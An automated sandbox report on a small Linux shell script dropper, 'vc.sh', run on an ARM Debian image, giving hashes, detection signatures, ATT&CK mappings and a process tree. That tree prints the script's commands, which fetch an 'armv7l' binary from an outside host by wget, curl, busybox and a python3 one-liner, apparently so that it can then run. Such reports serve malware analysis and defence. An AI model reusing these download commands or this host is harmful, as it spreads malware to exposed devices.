ad99811a188b8b3a035935cf2352ba0bc64046645a846791e8a320f65be34b96

Analysis

max time kernel
3s
max time network
4s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
17/10/2026, 10:39

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General

Target
vc.sh
Size 1KB
Sample261017-mp45esdx8j
SHA256 ad99811a188b8b3a035935cf2352ba0bc64046645a846791e8a320f65be34b96
MD5 2b5fbd28efc9e3b425e638fe268d45c7
SHA1 7cbd1f7650dd3b9e7e28131d2c494f9f2e10a9aa
SHA512 14980bc30c220649689709d0215fc801957faebd2b05c2f5abad9cae8de3f62e30003afc3616d0540b136b2fccb1a847db6f4854bc40a742fb9795d88a74b838
TLSH
T1712159F3F8B09C31B808843CFE4D6694A9874A7F45E4BD5684D6BC20BE5C41A949EF32
MD5 SHA1 SHA512 TLSH

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/q	wget

/tmp/vc.sh
/tmp/vc.sh
1⤵
PID:644
- /bin/uname
  uname -m
  2⤵
  PID:647
- /bin/rm
  rm -f q
  2⤵
  PID:649
- /usr/bin/wget
  wget -q -O q http://wemqmewkqewq.work.gd/armv7l
  2⤵
  - Writes file to tmp directory
  PID:652
- /usr/bin/curl
  curl -skLo q http://wemqmewkqewq.work.gd/armv7l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:668
- /bin/busybox
  busybox wget -q -O q http://wemqmewkqewq.work.gd/armv7l
  2⤵
  PID:676
- /usr/bin/python3
  python3 -c "import urllib.request as u,sys;u.urlretrieve(sys.argv[1],sys.argv[2])" http://wemqmewkqewq.work.gd/armv7l q
  2⤵
  PID:678

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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